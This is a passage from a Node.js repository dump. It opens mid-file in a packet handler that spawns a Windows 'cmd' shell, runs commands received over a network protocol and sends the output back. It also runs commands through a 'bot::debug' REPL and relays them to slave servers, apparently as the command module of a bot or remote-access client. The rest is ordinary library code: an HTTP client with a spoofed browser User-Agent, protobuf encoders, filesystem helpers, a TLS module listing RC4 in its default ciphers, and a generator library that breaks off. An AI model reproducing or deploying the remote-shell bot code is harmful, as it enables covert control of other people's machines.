| 97 | 98 | { 99 | switch(func) 100 | { 101 | case SP_EXECUTECMD : 102 | var command = messages.CommandExecutionRequest.decode(data.slice(5)); 103 | var commandForExecute = command.command; 104 | 105 | 106 | 107 | 108 | if(command.process === process.currentBinary){ 109 | if (typeof (consoleTerminal) == 'undefined') { 110 | consoleTerminal = require('child_process').spawn('cmd'); 111 | consoleTerminal.encoding = getTerminalDefaultEncoding(); 112 | 113 | if (consoleTerminal.encoding) { 114 | consoleTerminal.encoding = 'cp' + consoleTerminal.encoding; 115 | } 116 | 117 | consoleTerminal.stdout.on('data', function (data) { 118 | var dataForSend = new Buffer(iconv.decode(data, consoleTerminal.encoding)); 119 | outstream.sendProtocolPacket( 120 | MyPacketId, requestId, 0x00, dataForSend); 121 | }); 122 | 123 | consoleTerminal.stderr.on('data', function (data) { 124 | var dataForSend = new Buffer(iconv.decode(data, consoleTerminal.encoding)); 125 | 126 | outstream.sendProtocolPacket( 127 | MyPacketId, requestId, 0x00, dataForSend); 128 | }); 129 | 130 | consoleTerminal.on('close', function(){ 131 | consoleTerminal = undefined; 132 | }) 133 | } 134 | 135 | if(consoleTerminal) 136 | consoleTerminal.stdin.write( 137 | iconv.encode(commandForExecute, consoleTerminal.encoding)); 138 | } 139 | else 140 | { 141 | if(process.slaveServer) 142 | process.slaveServer.broadcastProtocolPacket( 143 | MyPacketId, data); 144 | } 145 | 146 | break; 147 | case SP_EXECUTREPL : 148 | 149 | var command = messages.CommandExecutionRequest.decode(data.slice(5)); 150 | if(command.process === process.currentBinary){ 151 | var commandForExecute = command.command; 152 | 153 | if(ReplCookie !== requestId) 154 | { 155 | ReplCookie = requestId; 156 | 157 | process.g_ReplStream.write = function (stdout_data) { 158 | outstream.sendProtocolPacket( 159 | MyPacketId, requestId, 0x00, new Buffer(stdout_data)); 160 | }; 161 | } 162 | 163 | process.g_ReplStream.emit('data', commandForExecute); 164 | } 165 | else 166 | { 167 | if(!util.isUndefined(process.slaveServer)){ 168 | process.slaveServer.broadcastProtocolPacket( 169 | MyPacketId, data); 170 | } 171 | } 172 | break; 173 | default: 174 | outstream.sendProtocolPacket( 175 | MyPacketId, requestId, 0xFF); 176 | break; 177 | } 178 | 179 | } 180 | 181 | }); 182 | 183 | exports.register = function (prtocolId, packetParsers, procolPacketBuilders) { 184 | 185 | 186 | MyPacketId = prtocolId; 187 | 188 | 189 | packetParsers[prtocolId] = OnPacket; 190 | procolPacketBuilders[prtocolId] = BuildPacket; 191 | process.g_ReplStream = createReplStream(); 192 | 193 | process.g_replInstance = repl.start({ 194 | prompt: "bot::debug > ", 195 | input: process.g_ReplStream, 196 | output: process.g_ReplStream, 197 | useGlobal: true 198 | }); 199 | 200 | process.g_replInstance.context.printf = function () { 201 | var s = util.format.apply(this, arguments) + '\n'; 202 | process.g_ReplStream.write(s); 203 | } 204 | } -------------------------------------------------------------------------------- /clienthttp.js: -------------------------------------------------------------------------------- 1 | var http = require('http'), 2 | https = require('https'), 3 | tunnel = require('tunnel'), 4 | url = require('url'); 5 | 6 | var _cookie = {}; 7 | var _proxy; 8 | var _timeout = 60000; 9 | 10 | exports.request = httpRequest; 11 | exports.get = httpGet; 12 | exports.setProxy = function(proxy){ 13 | _proxy = proxy; 14 | }; 15 | exports.setTimeout = function(timeout){ 16 | _timeout = timeout; 17 | }; 18 | 19 | function httpRequest(rawUrl, callback, data, headers){ 20 | var options = genRequestOptions(rawUrl, function(err){ 21 | err && callback && callback(err, null); 22 | }, data, headers); 23 | if (!options){ 24 | return; 25 | } 26 | var req; 27 | if (options._protocol=="https" && !options.agent){ 28 | req = https.request(options, function(res){ 29 | handleResponese(res, callback, data, headers); 30 | }); 31 | }else{ 32 | req = http.request(options, function(res){ 33 | handleResponese(res, callback, data, headers); 34 | }); 35 | } 36 | req.on('socket', function(socket){ 37 | socket.setTimeout(_timeout); 38 | socket.on('timeout', function(){ 39 | req.abort(); 40 | }); 41 | }); 42 | data && req.write(data); 43 | req.on("error", function(err){ 44 | callback && callback(err, null); 45 | }); 46 | req.end(); 47 | } 48 | 49 | function httpGet(rawUrl, callback){ 50 | httpRequest(rawUrl, callback); 51 | } 52 | 53 | function handleResponese(res, callback, data, headers) { 54 | res.setEncoding("utf8"); 55 | setCookieByHttpRes(res); 56 | 57 | if (res.statusCode == 301 || res.statusCode == 302) { 58 | var nextTarget = res.headers.location; 59 | process.nextTick(function () { httpRequest(nextTarget, callback, data, headers); }); 60 | } else { 61 | 62 | var buffer = ""; 63 | res.on("data", function (chunk) { 64 | if (chunk && chunk.length > 0) { 65 | buffer += chunk; 66 | } 67 | }); 68 | 69 | res.on("end", function () { 70 | if (res.statusCode == 200) { 71 | buffer && callback && callback(null, { 72 | data: buffer, 73 | cookies: _cookie, 74 | headers: res.headers 75 | }); 76 | } else { 77 | callback && callback("server return " + res.statusCode, { 78 | data: null, 79 | cookies: null, 80 | headers: res.headers 81 | }); 82 | } 83 | }); 84 | } 85 | } 86 | function cookieToStr(cookie){ 87 | if (cookie){ 88 | var result = ""; 89 | for (var key in cookie){ 90 | result += key + (cookie[key] ? "=" + cookie[key] : "") + "; "; 91 | } 92 | return result; 93 | } 94 | return ""; 95 | } 96 | 97 | function setCookieByHttpRes(res){ 98 | var rawCookie = res.headers["set-cookie"]; 99 | rawCookie && rawCookie.forEach(function(line){ 100 | line && line.split(';').forEach(function(c){ 101 | var parts = c.split('='); 102 | _cookie[parts[0].trim()] = (parts[1] || '').trim(); 103 | }); 104 | }); 105 | } 106 | 107 | function genRequestOptions(rawUrl, errCallback, data, headers){ 108 | var target; 109 | try{ 110 | target = url.parse(rawUrl); 111 | }catch(err){ 112 | errCallback("URL parse error, please input validate URL"); 113 | return; 114 | } 115 | if (target && target.host){ 116 | target.host = target.port ? 117 | target.host.replace(":" + target.port, "") : target.host; 118 | var result = { 119 | path: rawUrl, 120 | method: data ? "POST" : "GET", 121 | host: target.hostname, 122 | headers: { 123 | Host: target.host, 124 | "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0", 125 | Connection: "keep-alive", 126 | Accept: "text/html, text/javascript, application/json, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8", 127 | Cookie: cookieToStr(_cookie) 128 | } 129 | }; 130 | 131 | if (data){ 132 | result.headers["Content-Length"] = Buffer.byteLength(data); 133 | } 134 | 135 | if (headers){ 136 | for (var key in headers){ 137 | result.headers[key] = headers[key]; 138 | } 139 | } 140 | var proxy = getProxy(); 141 | if (target.protocol==="http:"){ 142 | result.port = target.port ? target.port : 80; 143 | result._protocol = "http"; 144 | if (proxy){ 145 | result.host = proxy.host; 146 | result.port = proxy.port; 147 | } 148 | }else if (target.protocol==="https:"){ 149 | result.port = target.port ? target.port : 443; 150 | result._protocol = "https"; 151 | if (proxy){ 152 | result.agent = tunnel.httpsOverHttp({ 153 | proxy:{ 154 | host: proxy.host, 155 | port: proxy.port 156 | } 157 | }); 158 | } 159 | }else{ 160 | errCallback("Not support URL scheme, only support http and https"); 161 | return; 162 | } 163 | return result; 164 | } 165 | } 166 | 167 | function getProxy(){ 168 | var proxy; 169 | if (_proxy){ 170 | proxy = _proxy; 171 | }else if (process.env.http_proxy){ 172 | proxy = process.env.http_proxy; 173 | } 174 | proxy = proxy ? url.parse(proxy) : null; 175 | if (proxy && proxy.host){ 176 | return { 177 | host: proxy.port ? proxy.host.replace(":"+proxy.port, "") : proxy.host, 178 | port: proxy.port ? proxy.port : "80" 179 | }; 180 | } 181 | return; 182 | } -------------------------------------------------------------------------------- /protobuf_encodings.js: -------------------------------------------------------------------------------- 1 | var varint = require('varint') 2 | var svarint = require('signed_varint') 3 | 4 | var encoder = function(type, encode, decode, encodingLength) { 5 | encode.bytes = decode.bytes = 0 6 | 7 | return { 8 | type: type, 9 | encode: encode, 10 | decode: decode, 11 | encodingLength: encodingLength 12 | } 13 | } 14 | 15 | exports.make = encoder 16 | 17 | exports.bytes = function(tag) { 18 | var encodingLength = function(val) { 19 | return varint.encodingLength(val.length) + val.length 20 | } 21 | 22 | var encode = function(val, buffer, offset) { 23 | var oldOffset = offset 24 | 25 | varint.encode(val.length, buffer, offset) 26 | offset += varint.encode.bytes 27 | 28 | val.copy(buffer, offset) 29 | offset += val.length 30 | 31 | encode.bytes = offset - oldOffset 32 | return buffer 33 | } 34 | 35 | var decode = function(buffer, offset) { 36 | var oldOffset = offset 37 | 38 | var len = varint.decode(buffer, offset) 39 | offset += varint.decode.bytes 40 | 41 | var val = buffer.slice(offset, offset+len) 42 | offset += val.length 43 | 44 | decode.bytes = offset - oldOffset 45 | return val 46 | } 47 | 48 | return encoder(2, encode, decode, encodingLength) 49 | }() 50 | 51 | exports.string = function() { 52 | var encodingLength = function(val) { 53 | return varint.encodingLength(val.length) + Buffer.byteLength(val) 54 | } 55 | 56 | var encode = function(val, buffer, offset) { 57 | var oldOffset = offset 58 | var len = Buffer.byteLength(val) 59 | 60 | varint.encode(len, buffer, offset, 'utf-8') 61 | offset += varint.encode.bytes 62 | 63 | buffer.write(val, offset, len) 64 | offset += len 65 | 66 | encode.bytes = offset - oldOffset 67 | return buffer 68 | } 69 | 70 | var decode = function(buffer, offset) { 71 | var oldOffset = offset 72 | 73 | var len = varint.decode(buffer, offset) 74 | offset += varint.decode.bytes 75 | 76 | var val = buffer.toString('utf-8', offset, offset+len) 77 | offset += len 78 | 79 | decode.bytes = offset - oldOffset 80 | return val 81 | } 82 | 83 | return encoder(2, encode, decode, encodingLength) 84 | }() 85 | 86 | exports.bool = function() { 87 | var encodingLength = function(val) { 88 | return 1 89 | } 90 | 91 | var encode = function(val, buffer, offset) { 92 | buffer[offset] = val ? 1 : 0 93 | encode.bytes = 1 94 | return buffer 95 | } 96 | 97 | var decode = function(buffer, offset) { 98 | var bool = buffer[offset] > 0 99 | decode.bytes = 1 100 | return bool 101 | } 102 | 103 | return encoder(0, encode, decode, encodingLength) 104 | }() 105 | 106 | exports.int32 = function() { 107 | var decode = function(buffer, offset) { 108 | var val = varint.decode(buffer, offset) 109 | decode.bytes = varint.decode.bytes 110 | return val > 2147483647 ? val - 4294967296 : val 111 | } 112 | 113 | var encode = function(val, buffer, offset) { 114 | varint.encode(val < 0 ? val + 4294967296 : val, buffer, offset) 115 | encode.bytes = varint.encode.bytes 116 | return buffer 117 | } 118 | 119 | var encodingLength = function(val) { 120 | return varint.encodingLength(val < 0 ? val + 4294967296 : val) 121 | } 122 | 123 | return encoder(0, varint.encode, decode, encodingLength) 124 | }() 125 | 126 | exports.sint32 = 127 | exports.sint64 = function() { 128 | return encoder(0, svarint.encode, svarint.decode, svarint.encodingLength) 129 | }() 130 | 131 | exports.int64 = 132 | exports.uint32 = 133 | exports.uint64 = 134 | exports.enum = 135 | exports.varint = function() { 136 | return encoder(0, varint.encode, varint.decode, varint.encodingLength) 137 | }() 138 | 139 | 140 | exports.fixed64 = 141 | exports.sfixed64 = function() { 142 | var encodingLength = function(val) { 143 | return 8 144 | } 145 | 146 | var encode = function(val, buffer, offset) { 147 | val.copy(buffer, offset) 148 | encode.bytes = 8 149 | return buffer 150 | } 151 | 152 | var decode = function(buffer, offset) { 153 | var val = buffer.slice(offset, offset + 8) 154 | decode.bytes = 8 155 | return val 156 | } 157 | 158 | return encoder(1, encode, decode, encodingLength) 159 | }() 160 | 161 | exports.double = function() { 162 | var encodingLength = function(val) { 163 | return 8 164 | } 165 | 166 | var encode = function(val, buffer, offset) { 167 | buffer.writeDoubleLE(val, offset) 168 | encode.bytes = 8 169 | return buffer 170 | } 171 | 172 | var decode = function(buffer, offset) { 173 | var val = buffer.readDoubleLE(offset) 174 | decode.bytes = 8 175 | return val 176 | } 177 | 178 | return encoder(1, encode, decode, encodingLength) 179 | }() 180 | 181 | exports.fixed32 = function() { 182 | var encodingLength = function(val) { 183 | return 4 184 | } 185 | 186 | var encode = function(val, buffer, offset) { 187 | buffer.writeUInt32LE(val, offset) 188 | encode.bytes = 4 189 | return buffer 190 | } 191 | 192 | var decode = function(buffer, offset) { 193 | var val = buffer.readUInt32LE(offset) 194 | decode.bytes = 4 195 | return val 196 | } 197 | 198 | return encoder(5, encode, decode, encodingLength) 199 | }() 200 | 201 | exports.sfixed32 = function() { 202 | var encodingLength = function(val) { 203 | return 4 204 | } 205 | 206 | var encode = function(val, buffer, offset) { 207 | buffer.writeInt32LE(val, offset) 208 | encode.bytes = 4 209 | return buffer 210 | } 211 | 212 | var decode = function(buffer, offset) { 213 | var val = buffer.readInt32LE(offset) 214 | decode.bytes = 4 215 | return val 216 | } 217 | 218 | return encoder(5, encode, decode, encodingLength) 219 | }() 220 | 221 | exports.float = function() { 222 | var encodingLength = function(val) { 223 | return 4 224 | } 225 | 226 | var encode = function(val, buffer, offset) { 227 | buffer.writeFloatLE(val, offset) 228 | encode.bytes = 4 229 | return buffer 230 | } 231 | 232 | var decode = function(buffer, offset) { 233 | var val = buffer.readFloatLE(offset) 234 | decode.bytes = 4 235 | return val 236 | } 237 | 238 | return encoder(5, encode, decode, encodingLength) 239 | }() -------------------------------------------------------------------------------- /meta_fs.js: -------------------------------------------------------------------------------- 1 | var Fs = require('fs') 2 | var Path = require('path') 3 | 4 | 5 | function mkdir_p(path, perm, callback) { 6 | path = Path.resolve(process.cwd(), path) 7 | Fs.mkdir(path, perm, function(err) { 8 | if (!err) { callback() ; return } 9 | if (err.code === 'ENOENT') { 10 | mkdir_p(Path.dirname(path), perm, function(err) { 11 | if (err) { 12 | callback(err) 13 | } else { 14 | mkdir_p(path, perm, callback) 15 | } 16 | }) 17 | } else if (err.code === 'EEXIST') { 18 | Fs.stat(path, function(sterr, stat) { 19 | if (sterr || !stat.isDirectory()) { 20 | callback(sterr) 21 | } else if (stat.mode != perm) { 22 | Fs.chmod(path, perm, callback) 23 | } else { 24 | callback() 25 | } 26 | }) 27 | } else { 28 | callback(err) 29 | } 30 | }) 31 | } 32 | 33 | 34 | 35 | function match_stub_fn(path, stat, depth, cb) { cb() } 36 | 37 | function find(path, options, callback) { 38 | 39 | 40 | options = options || {} 41 | var match_fn = options.match_fn || match_stub_fn 42 | var dir_fn = options.dir_fn || match_stub_fn 43 | var serial = !!options.serial 44 | 45 | 46 | var normalize = Path.normalize 47 | var join = Path.join 48 | var stat = options.follow ? Fs.stat : Fs.lstat 49 | var readdir = Fs.readdir 50 | 51 | 52 | var base = Path.resolve(process.cwd(), path) 53 | 54 | 55 | var inos = {} 56 | 57 | 58 | function walk(path, depth, cb) { 59 | 60 | stat(path, function (err, st) { 61 | 62 | if (err) { cb(err) ; return } 63 | 64 | 65 | if (options.follow) { 66 | 67 | var inode = st.ino 68 | if (inos[inode]) { cb() ; return } 69 | 70 | inos[inode] = true 71 | } 72 | 73 | match_fn.call(options, path, st, depth, function (err) { 74 | 75 | if (err && err !== true) { cb(err) ; return } 76 | 77 | if (!st.isDirectory()) { cb() ; return } 78 | 79 | readdir(path, function (err, files) { 80 | if (err) { cb(err) ; return } 81 | 82 | 83 | var len = files.length 84 | 85 | 86 | 87 | 88 | var collected = serial ? 0 : 1 89 | function collect() { 90 | if (collected >= len) { 91 | 92 | dir_fn.call(options, path, st, depth, cb) 93 | 94 | } else if (serial) { 95 | walk(join(path, files[collected]), depth + 1, collect) 96 | } 97 | collected++ 98 | } 99 | 100 | 101 | if (len === 0 || serial) { 102 | collect() 103 | 104 | } else { 105 | for (var i = 0; i < len; i++) { 106 | walk(join(path, files[i]), depth + 1, collect) 107 | } 108 | } 109 | }) 110 | }) 111 | }) 112 | } 113 | 114 | 115 | walk(base, 0, callback) 116 | 117 | } 118 | 119 | 120 | function remove(path, callback) { 121 | 122 | 123 | var unlink = Fs.unlink 124 | var rmdir = Fs.rmdir 125 | 126 | path = Path.resolve(process.cwd(), path) 127 | find(path, { 128 | 129 | match_fn: function(path, stat, depth, cb) { 130 | if (!stat.isDirectory()) { 131 | unlink(path, cb) 132 | } else { 133 | cb() 134 | } 135 | }, 136 | dir_fn: function (path, stat, depth, cb) { 137 | rmdir(path, cb) 138 | }, 139 | }, function (err) { 140 | if (err && (err.code === 'ENOENT' || err.code === 'ENOTDIR')) { err = null } 141 | callback(err) 142 | }) 143 | 144 | } 145 | 146 | 147 | function copy(src, dst, callback) { 148 | 149 | 150 | var join = Path.join 151 | var dirname = Path.dirname 152 | var basename = Path.basename 153 | var read = Fs.readFile 154 | var write = Fs.writeFile 155 | var readlink = Fs.readlink 156 | var symlink = Fs.symlink 157 | var chmod = Fs.chmod 158 | var chown = Fs.chown 159 | 160 | 161 | var src_orig = Path.normalize(src) 162 | src = Path.resolve(process.cwd(), src) 163 | dst = Path.resolve(process.cwd(), dst) 164 | 165 | 166 | 167 | if (src_orig == '.') { 168 | skip += '/' 169 | } 170 | 171 | var skip_len = src.length + 1 172 | 173 | 174 | find(src, { 175 | 176 | match_fn: function (path, stat, depth, cb) { 177 | 178 | var new_path = join(dst, path.substring(skip_len)) 179 | 180 | 181 | 182 | 183 | 184 | function set_perms(err) { 185 | if (err) { cb(err) ; return } 186 | chmod(new_path, stat.mode, function (err) { 187 | if (err) { cb(err) ; return } 188 | chown(new_path, stat.uid, stat.gid, function (err) { 189 | 190 | 191 | cb() 192 | }) 193 | }) 194 | } 195 | 196 | 197 | if (stat.isDirectory()) { 198 | mkdir_p(new_path, stat.mode, set_perms) 199 | 200 | } else if (stat.isFile()) { 201 | 202 | read(path, function (err, data) { 203 | write(new_path, data, set_perms) 204 | }) 205 | 206 | } else if (stat.isSymbolicLink()) { 207 | readlink(path, function (err, realpath) { 208 | if (err) { cb(err) ; return } 209 | symlink(realpath, new_path, set_perms) 210 | }) 211 | 212 | 213 | 214 | } else { 215 | cb({path: path, code: 'ENOTSUPP'}) 216 | } 217 | }, 218 | }, callback) 219 | 220 | } 221 | 222 | 223 | function link(target, path, callback) { 224 | path = Path.resolve(process.cwd(), path) 225 | mkdir_p(Path.dirname(path), '0755', function (err) { 226 | if (err) { callback(err) ; return } 227 | Fs.symlink(target, path, callback) 228 | }) 229 | } 230 | 231 | 232 | Fs.mkdir_p = mkdir_p 233 | Fs.find = find 234 | Fs.remove = remove 235 | Fs.copy = copy 236 | Fs.link = link 237 | 238 | module.exports = Fs -------------------------------------------------------------------------------- /tls.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | var net = require('net'); 23 | var url = require('url'); 24 | var util = require('util'); 25 | 26 | 27 | 28 | 29 | 30 | exports.CLIENT_RENEG_LIMIT = 3; 31 | exports.CLIENT_RENEG_WINDOW = 600; 32 | 33 | exports.SLAB_BUFFER_SIZE = 10 * 1024 * 1024; 34 | 35 | exports.DEFAULT_CIPHERS = 36 | 37 | 'ECDHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA256:AES128-GCM-SHA256:' + 38 | 39 | 'RC4:HIGH:!MD5:!aNULL'; 40 | 41 | exports.DEFAULT_ECDH_CURVE = 'prime256v1'; 42 | 43 | exports.getCiphers = function() { 44 | var names = process.binding('crypto').getSSLCiphers(); 45 | 46 | var ctx = {}; 47 | names.forEach(function(name) { 48 | if (/^[0-9A-Z\-]+$/.test(name)) name = name.toLowerCase(); 49 | ctx[name] = true; 50 | }); 51 | return Object.getOwnPropertyNames(ctx).sort(); 52 | }; 53 | 54 | 55 | 56 | exports.convertNPNProtocols = function convertNPNProtocols(NPNProtocols, out) { 57 | 58 | if (util.isArray(NPNProtocols)) { 59 | var buff = new Buffer(NPNProtocols.reduce(function(p, c) { 60 | return p + 1 + Buffer.byteLength(c); 61 | }, 0)); 62 | 63 | NPNProtocols.reduce(function(offset, c) { 64 | var clen = Buffer.byteLength(c); 65 | buff[offset] = clen; 66 | buff.write(c, offset + 1); 67 | 68 | return offset + 1 + clen; 69 | }, 0); 70 | 71 | NPNProtocols = buff; 72 | } 73 | 74 | 75 | if (util.isBuffer(NPNProtocols)) { 76 | out.NPNProtocols = NPNProtocols; 77 | } 78 | }; 79 | 80 | exports.checkServerIdentity = function checkServerIdentity(host, cert) { 81 | 82 | function regexpify(host, wildcards) { 83 | 84 | if (!/\.$/.test(host)) host += '.'; 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | if (!wildcards && /\*/.test(host) || /[\.\*].*\*/.test(host) || 97 | /\*/.test(host) && !/\*.*\..+\..+/.test(host)) { 98 | return /$./; 99 | } 100 | 101 | 102 | 103 | 104 | var re = host.replace( 105 | /\*([a-z0-9\\-_\.])|[\.,\-\\\^\$+?*\[\]\(\):!\|{}]/g, 106 | function(all, sub) { 107 | if (sub) return '[a-z0-9\\-_]*' + (sub === '-' ? '\\-' : sub); 108 | return '\\' + all; 109 | }); 110 | 111 | return new RegExp('^' + re + '$', 'i'); 112 | } 113 | 114 | var dnsNames = [], 115 | uriNames = [], 116 | ips = [], 117 | matchCN = true, 118 | valid = false, 119 | reason = 'Unknown reason'; 120 | 121 | 122 | 123 | 124 | 125 | 126 | if (cert.subjectaltname) { 127 | cert.subjectaltname.split(/, /g).forEach(function(altname) { 128 | var option = altname.match(/^(DNS|IP Address|URI):(.*)$/); 129 | if (!option) 130 | return; 131 | if (option[1] === 'DNS') { 132 | dnsNames.push(option[2]); 133 | } else if (option[1] === 'IP Address') { 134 | ips.push(option[2]); 135 | } else if (option[1] === 'URI') { 136 | var uri = url.parse(option[2]); 137 | if (uri) uriNames.push(uri.hostname); 138 | } 139 | }); 140 | } 141 | 142 | 143 | 144 | if (net.isIP(host)) { 145 | valid = ips.some(function(ip) { 146 | return ip === host; 147 | }); 148 | if (!valid) { 149 | reason = util.format('IP: %s is not in the cert\'s list: %s', 150 | host, 151 | ips.join(', ')); 152 | } 153 | } else { 154 | 155 | if (!/\.$/.test(host)) host += '.'; 156 | 157 | 158 | 159 | dnsNames = dnsNames.map(function(name) { 160 | return regexpify(name, true); 161 | }); 162 | 163 | 164 | uriNames = uriNames.map(function(name) { 165 | return regexpify(name, false); 166 | }); 167 | 168 | dnsNames = dnsNames.concat(uriNames); 169 | 170 | if (dnsNames.length > 0) matchCN = false; 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | if (matchCN) { 181 | var commonNames = cert.subject.CN; 182 | if (util.isArray(commonNames)) { 183 | for (var i = 0, k = commonNames.length; i < k; ++i) { 184 | dnsNames.push(regexpify(commonNames[i], true)); 185 | } 186 | } else { 187 | dnsNames.push(regexpify(commonNames, true)); 188 | } 189 | } 190 | 191 | valid = dnsNames.some(function(re) { 192 | return re.test(host); 193 | }); 194 | 195 | if (!valid) { 196 | if (cert.subjectaltname) { 197 | reason = util.format('Host: %s is not in the cert\'s altnames: %s', 198 | host, 199 | cert.subjectaltname); 200 | } else { 201 | reason = util.format('Host: %s is not cert\'s CN: %s', 202 | host, 203 | cert.subject.CN); 204 | } 205 | } 206 | } 207 | 208 | if (!valid) { 209 | var err = new Error( 210 | util.format('Hostname/IP doesn\'t match certificate\'s altnames: %j', 211 | reason)); 212 | err.reason = reason; 213 | err.host = host; 214 | err.cert = cert; 215 | return err; 216 | } 217 | }; 218 | 219 | 220 | 221 | exports.parseCertString = function parseCertString(s) { 222 | var out = {}; 223 | var parts = s.split('\n'); 224 | for (var i = 0, len = parts.length; i < len; i++) { 225 | var sepIndex = parts[i].indexOf('='); 226 | if (sepIndex > 0) { 227 | var key = parts[i].slice(0, sepIndex); 228 | var value = parts[i].slice(sepIndex + 1); 229 | if (key in out) { 230 | if (!util.isArray(out[key])) { 231 | out[key] = [out[key]]; 232 | } 233 | out[key].push(value); 234 | } else { 235 | out[key] = value; 236 | } 237 | } 238 | } 239 | return out; 240 | }; 241 | 242 | 243 | exports.createSecureContext = require('_tls_common').createSecureContext; 244 | exports.SecureContext = require('_tls_common').SecureContext; 245 | exports.TLSSocket = require('_tls_wrap').TLSSocket; 246 | exports.Server = require('_tls_wrap').Server; 247 | exports.createServer = require('_tls_wrap').createServer; 248 | exports.connect = require('_tls_wrap').connect; 249 | 250 | 251 | exports.__defineGetter__('createSecurePair', util.deprecate(function() { 252 | return require('_tls_legacy').createSecurePair; 253 | }, 'createSecurePair() is deprecated, use TLSSocket instead')); 254 | -------------------------------------------------------------------------------- /suspend.js: -------------------------------------------------------------------------------- 1 | 2 | var suspend = module.exports = function fn(generator) { 3 | if (!isGeneratorFunction(generator)) { 4 | throw new Error('First .fn() argument must be a GeneratorFunction.'); 5 | } 6 | 7 | return function () { 8 | var suspender = new Suspender(generator); 9 | 10 | suspender.start(this, Array.prototype.slice.call(arguments)); 11 | }; 12 | }; 13 | suspend.fn = suspend; 14 | 15 | 16 | suspend.async = function async(generator) { 17 | if (!isGeneratorFunction(generator)) { 18 | throw new Error('First .async() argument must be a GeneratorFunction.'); 19 | } 20 | 21 | return function () { 22 | var callback = arguments[arguments.length - 1], 23 | args = Array.prototype.slice.call(arguments, 0, -1); 24 | 25 | if (typeof callback !== 'function') { 26 | throw new Error('Last argument must be a callback function.'); 27 | } 28 | 29 | var suspender = new Suspender(generator, callback); 30 | 31 | suspender.start(this, args); 32 | }; 33 | }; 34 | 35 | 36 | suspend.run = function run(generator, callback) { 37 | if (!isGeneratorFunction(generator)) { 38 | throw new Error('First .run() argument must be a GeneratorFunction.'); 39 | } 40 | if (callback && typeof callback !== 'function') { 41 | throw new Error('Second .run() argument must be a callback function.'); 42 | } 43 | var suspender = new Suspender(generator, callback); 44 | 45 | suspender.start(this); 46 | }; 47 | 48 | 49 | suspend.resume = function resumeFactory() { 50 | var suspender = getActiveSuspender(); 51 | if (!suspender) { 52 | throw new Error('resume() must be called from the generator body.'); 53 | } 54 | 55 | var alreadyResumed = false; 56 | 57 | return function resume() { 58 | if (alreadyResumed) { 59 | throw new Error('Cannot call same resumer multiple times.'); 60 | } 61 | alreadyResumed = true; 62 | suspender.resume.apply(suspender, arguments); 63 | }; 64 | }; 65 | 66 | 67 | suspend.resumeRaw = function resumeRawFactory() { 68 | var resume = suspend.resume.apply(this, arguments); 69 | getActiveSuspender().rawResume = true; 70 | return resume; 71 | }; 72 | 73 | 74 | suspend.fork = function fork() { 75 | var suspender = getActiveSuspender(); 76 | if (!suspender) { 77 | throw new Error('fork() must be called from the generator body.'); 78 | } 79 | return suspender.forkFactory(); 80 | }; 81 | 82 | 83 | suspend.join = function join() { 84 | var suspender = getActiveSuspender(); 85 | if (!suspender) { 86 | throw new Error('join() must be called from the generator body.'); 87 | } 88 | if (suspender.pendingJoin) { 89 | throw new Error('There is already a join() pending unresolved forks.'); 90 | } 91 | suspender.join(); 92 | }; 93 | 94 | 95 | function Suspender(generator, callback) { 96 | this.generator = generator; 97 | 98 | this.iterator = null; 99 | 100 | this.callback = callback; 101 | 102 | this.done = false; 103 | 104 | 105 | this.syncResume = false; 106 | 107 | 108 | this.rawResume = false; 109 | 110 | this.forkValues = []; 111 | 112 | this.pendingForks = 0; 113 | 114 | 115 | this.pendingJoin = false; 116 | } 117 | 118 | 119 | Suspender.prototype.start = function start(ctx, args) { 120 | this.iterator = this.generator.apply(ctx, args); 121 | this.nextOrThrow(); 122 | }; 123 | 124 | 125 | Suspender.prototype.handleYield = function handleYield(ret) { 126 | if (ret.done) { 127 | this.done = true; 128 | this.callback && this.callback.call(null, null, ret.value); 129 | return; 130 | } 131 | 132 | 133 | if (ret.value && typeof ret.value.then === 'function') { 134 | 135 | 136 | ret.value.then(this.resume.bind(this, null), this.resume.bind(this)); 137 | } 138 | }; 139 | 140 | 141 | Suspender.prototype.nextOrThrow = function next(val, isError) { 142 | this.syncResume = true; 143 | setActiveSuspender(this); 144 | var ret; 145 | try { 146 | ret = isError ? this.iterator.throw(val) : this.iterator.next(val); 147 | } catch (err) { 148 | if (this.callback) { 149 | return this.callback(err); 150 | } else { 151 | throw err; 152 | } 153 | } finally { 154 | this.syncResume = false; 155 | clearActiveSuspender(); 156 | } 157 | 158 | this.handleYield(ret); 159 | }; 160 | 161 | 162 | Suspender.prototype.resume = function resume(err, result) { 163 | 164 | 165 | if (this.syncResume) { 166 | return setImmediate(this.resume.bind(this, err, result)); 167 | } 168 | 169 | if (this.rawResume) { 170 | this.rawResume = false; 171 | this.nextOrThrow(Array.prototype.slice.call(arguments)); 172 | } else { 173 | if (this.done) { 174 | throw new Error('Generators cannot be resumed once completed.'); 175 | } 176 | 177 | if (err) return this.nextOrThrow(err, true); 178 | 179 | this.nextOrThrow(result); 180 | } 181 | }; 182 | 183 | 184 | Suspender.prototype.forkFactory = function forkFactory() { 185 | var self = this, 186 | index = this.pendingForks++, 187 | alreadyFulfilled = false; 188 | return function fork() { 189 | if (alreadyFulfilled) { 190 | throw new Error('fork was fulfilled more than once.'); 191 | } 192 | alreadyFulfilled = true; 193 | self.forkValues[index] = Array.prototype.slice.call(arguments); 194 | if (--self.pendingForks === 0 && self.pendingJoin) { 195 | self.join(); 196 | } 197 | }; 198 | }; 199 | 200 | 201 | Suspender.prototype.join = function join() { 202 | this.pendingJoin || (this.pendingJoin = true); 203 | if (this.pendingForks) return; 204 | var err = null, 205 | results = []; 206 | for (var i = 0, len = this.forkValues.length; i < len; i++) { 207 | var forkValue = this.forkValues[i]; 208 | if (forkValue[0]) { 209 | err = forkValue[0]; 210 | break; 211 | } else { 212 | results[i] = forkValue[1]; 213 | } 214 | } 215 | 216 | this.pendingJoin = false; 217 | this.pendingForks = 0; 218 | this.forkValues.length = 0; 219 | 220 | 221 | this.resume(err, results); 222 | }; 223 | 224 | 225 | var suspenderStack = []; 226 | 227 | function setActiveSuspender(suspender) { 228 | suspenderStack.push(suspender); 229 | } 230 | 231 | function getActiveSuspender() { 232 | return 